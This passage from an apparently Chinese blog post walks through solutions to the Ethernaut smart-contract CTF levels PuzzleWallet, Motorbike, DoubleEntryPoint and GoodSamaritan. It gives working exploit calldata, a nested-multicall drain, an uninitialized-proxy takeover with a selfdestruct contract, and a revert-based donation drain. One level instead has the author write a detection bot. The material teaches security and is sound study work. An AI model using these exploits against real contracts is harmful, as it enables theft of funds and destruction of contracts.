JUMPI
DUP1
PUSH4 0xac9650d8 // web3.utils.sha3("multicall(bytes[])").slice(0,10)
EQ
PUSH2 0x0145
JUMPI
PUSH2 0x00b1
JUMP
JUMPDEST
DUP1
PUSH4 0x27e235e3 // web3.utils.sha3("balances(address)").slice(0,10)
EQ
PUSH2 0x00b6
JUMPI
DUP1
PUSH4 0x73ad468a // web3.utils.sha3("maxBalance()").slice(0,10)
EQ
PUSH2 0x00ec
JUMPI
JUMPDEST
PUSH1 0x00

我们能看到,直接查PuzzleWallet合约的owner是0,但是通过代理合约查,就不是了

因为通过代理合约查的,是代理合约的第0个槽位地址的内容。同理maxBalance。 弄清楚了前因后果,那就简单了。

// 调用代理合约的proposeNewAdmin方法,将player作为pendingAdmin
web3.eth.sendTransaction({from:player, to:instance, data:web3.utils.sha3("proposeNewAdmin(address)").slice(0,10) + "000000000000000000000000" + player.slice(2)})
// 现在透过代理合约访问PuzzleWallet合约的owner,可以看到实际上访问的是代理合约的槽位0的数据,也就是我们上面写的pendingAdmin
await contract.owner()
// 现在可以通过代理合约调用addToWhitelist方法,将自己放入白名单,因为此时合约里校验的msg.sender == owner实际上是拿msg.sender和代理合约里的槽位0的进行校验。
await contract.addToWhitelist(player)
// 然后可以调用setMaxBalance修改代理合约里的槽位1的内容,也就是admin,这里没法直接调用setMaxBalance,因为要求合约的balance为0,代理合约的balance不为0.
await getBalance(instance)
'0.001'
// 所以首先要消耗掉代理合约里的balance。合约里唯一一个地方转账的,就是在execute里。
// 要执行execute,需要有余额,所以需要调用deposit,但是如果单纯的调用deposit,则余额永远不会为0(execute里要求balances[msg.sender] >= value)
// 这里需要在一次调用中调用两次deposit,那么怎么实现呢,可以关注下multicall函数。
// 如果存在以下调用链:
// multicall
//        --> multicall
//                     --> deposit
//        --> multicall
//                     --> deposit
// 或者
// multicall
//        --> deposit
//        --> multicall
//                     --> deposit
// 那么就达到效果了

注意:代理合约通过delegatecall调用执行合约的代码,所有数据修改都是针对代理合约的槽位,即使代理合约本身没有定义某些槽位的元素。比如本例中:

// 代理合约访问,player是在白名单里
await web3.eth.call({from:player, to:instance, data:web3.utils.sha3("whitelisted(address)").slice(0,10) + "000000000000000000000000" + player.slice(2)})
'0x0000000000000000000000000000000000000000000000000000000000000001'
// 执行合约里,player不在白名单
await web3.eth.call({from:player, to:"0xba7f781df45d6c2792d8680df98c0be744c58c98", data:web3.utils.sha3("whitelisted(address)").slice(0,10) + "000000000000000000000000" + player.slice(2)})
'0x0000000000000000000000000000000000000000000000000000000000000000'
// 可以直接看槽位:
web3.utils.sha3("0x000000000000000000000000"+player.slice(2)+"0000000000000000000000000000000000000000000000000000000000000002")
'0xe56d9067a9ee2c1f0c34959575ac90fdb3a9821648481d073046d3c51da34f87'
await web3.eth.getStorageAt(instance, "0xe56d9067a9ee2c1f0c34959575ac90fdb3a9821648481d073046d3c51da34f87") // 代理合约
'0x0000000000000000000000000000000000000000000000000000000000000001'
await web3.eth.getStorageAt("0xba7f781df45d6c2792d8680df98c0be744c58c98", "0xe56d9067a9ee2c1f0c34959575ac90fdb3a9821648481d073046d3c51da34f87")//执行合约
'0x0000000000000000000000000000000000000000000000000000000000000000'
// 构造输入
// 参数1 (如果是可变长比如数组,就是偏移量)
// 参数2
// ...
// (可变长参数数组) 数组个数
// 数组第一个元素偏移量(从现在位置开始算偏移)
// 数组第二个元素偏移量
//...
// 第一个元素长度
// 第一个元素值
// 第二个元素长度
// ...
web3.utils.sha3("multicall(bytes[])").slice(0,10)
'0xac9650d8'
web3.utils.sha3("deposit()").slice(0,10)
'0xd0e30db0'

//0000000000000000000000000000000000000000000000000000000000000020
//0000000000000000000000000000000000000000000000000000000000000002
//0000000000000000000000000000000000000000000000000000000000000040
//0000000000000000000000000000000000000000000000000000000000000080
//0000000000000000000000000000000000000000000000000000000000000004
//d0e30db000000000000000000000000000000000000000000000000000000000
//0000000000000000000000000000000000000000000000000000000000000088
//ac9650d8
//0000000000000000000000000000000000000000000000000000000000000020
//0000000000000000000000000000000000000000000000000000000000000001
//0000000000000000000000000000000000000000000000000000000000000020
//0000000000000000000000000000000000000000000000000000000000000004
//d0e30db
web3.eth.sendTransaction({from:player, to:instance, data:"0xac9650d800000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004d0e30db0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000088ac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db0", value:toWei("0.001")});
(await contract.balances(player)).toString()
'2000000000000000'
await getBalance(instance)
'0.002'
// 目标达成,下面只需要简单调用一下execute转走钱就行
contract.execute(player, toWei(await getBalance(instance)), "0x0")
// 然后通过setMaxBalance设置代理合约的admin
contract.setMaxBalance(player)
// 查看最新的admin
await web3.eth.getStorageAt(instance, 1)
'0x00000000000000000000000091aa5df5b42ef16b658b1d2231d73e442cd9c6ed'

Motorbike

需要替换掉engine引擎,并在新的引擎里执行selfdestruct()

// 先拿到engine引擎合约的地址:
await web3.eth.getStorageAt(contract.address, "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc")
'0x00000000000000000000000058a5213260516fa95707a43aa2e001be316fc55b'
// 要升级引擎合约里的_IMPLEMENTATION_SLOT,需要成为引擎合约的upgrader
await web3.eth.getStorageAt("0x58a5213260516fa95707a43aa2e001be316fc55b", "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc")
'0x0000000000000000000000000000000000000000000000000000000000000000'
//如上,发现引擎合约里的implementation是空的,那么可以直接调用init函数将player设置为upgrader
await web3.eth.sendTransaction({from:player, to:"0x58a5213260516fa95707a43aa2e001be316fc55b", data:web3.utils.sha3("initialize()").slice(0,10)})

// 解释下:
// 参数2的偏移量
// 参数2的长度
// 参数2的内容 [ web3.utils.sha3("kill()").slice(0,10) ]
// 0000000000000000000000000000000000000000000000000000000000000040
// 0000000000000000000000000000000000000000000000000000000000000004
// 41c0e1b5
// 其中9b34affBF80D08eADCc96Dee0AEB4190b6bA2baC 是部署的自杀合约

await web3.eth.sendTransaction({from:player, to:"0x58a5213260516fa95707a43aa2e001be316fc55b", data:web3.utils.sha3("upgradeToAndCall(address,bytes)").slice(0,10) + "000000000000000000000000" + "9b34affBF80D08eADCc96Dee0AEB4190b6bA2baC" + "0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000441c0e1b5"})
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract Null {
    function kill() public {
        selfdestruct(payable(msg.sender));
    }
}

DoubleEntryPoint

合约代码比较长,通过对各个变量值的分析,流程大体如下:

如果用户通过sweepToken + legacyToken 进行调用,就可以绕过CryptoVault里的token != underlying检查,从而达到,转移underlying的目的。 所以本题的主要目的,是要阻止这种情况。 从图中红色的调用链来看,这里最终会调用到delegateTransfer函数,这个函数通过fortaNotify修饰,这里会进行notify,所以我们写的usersDetectionBots,需要判断origSender是否是crytoVault,如果是,就raiseAlert即可。

要从msgData里解析出origSender

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract DoubleEntryPoint {
    address  public cryptoVaultAddr ;
    function setCryptoVaultAddr(address addr) public  {
        cryptoVaultAddr = addr;
    }
    function handleTransaction(address user, bytes calldata msgData) external {
        (,,address addr) = abi.decode(msgData[4:], (address, uint256, address));   
        if (addr == cryptoVaultAddr) {
            IForta(msg.sender).raiseAlert(user);
        }
    }
}
// 合约部署地址为:0745fb6D6026c9f0dD2CA377C442588F9dC81a48
// 通过setDetectionBot将我们的部署合约设置进去
web3.eth.sendTransaction({from:player, to:await contract.forta(), data:web3.utils.sha3("setDetectionBot(address)").slice(0,10) + "000000000000000000000000"+ "0745fb6D6026c9f0dD2CA377C442588F9dC81a48"})
// 设置部署合约的cryptoVaultAddr地址
web3.eth.sendTransaction({from:player, to:"0x0745fb6D6026c9f0dD2CA377C442588F9dC81a48", data:web3.utils.sha3("setCryptoVaultAddr(address)").slice(0,10) + "000000000000000000000000" + (await contract.cryptoVault()).slice(2)})

GoodSamaritan

需要通过合约让转账产生一个NotEnoughBalance错误即可

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface GoodSamaritanInterface {
    function requestDonation() external returns(bool);
}

contract GoodSamaritan {
    error NotEnoughBalance();
    function notify(uint256 amount) pure  external{
        if (amount &lt;= 10) {// 这里需要加条件,否则在transferRemainder还会报错
            revert NotEnoughBalance();
        }
    }
    function getMoney(address addr) public {
        GoodSamaritanInterface(addr).requestDonation();
    }
}
// to 是上面部署的合约
web3.eth.sendTransaction({from:player, to:"0x59AFF1B06af01CEE7f3d64dFDD6989366091af69", data:web3.utils.sha3("getMoney(address)").slice(0,10)+"000000000000000000000000" + instance.slice(2)})

有问题欢迎留言,一起讨论

本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2022-10-12 10:32
  • 阅读 ( 1740 )
  • 学分 ( 21 )
  • 分类:智能合约

评论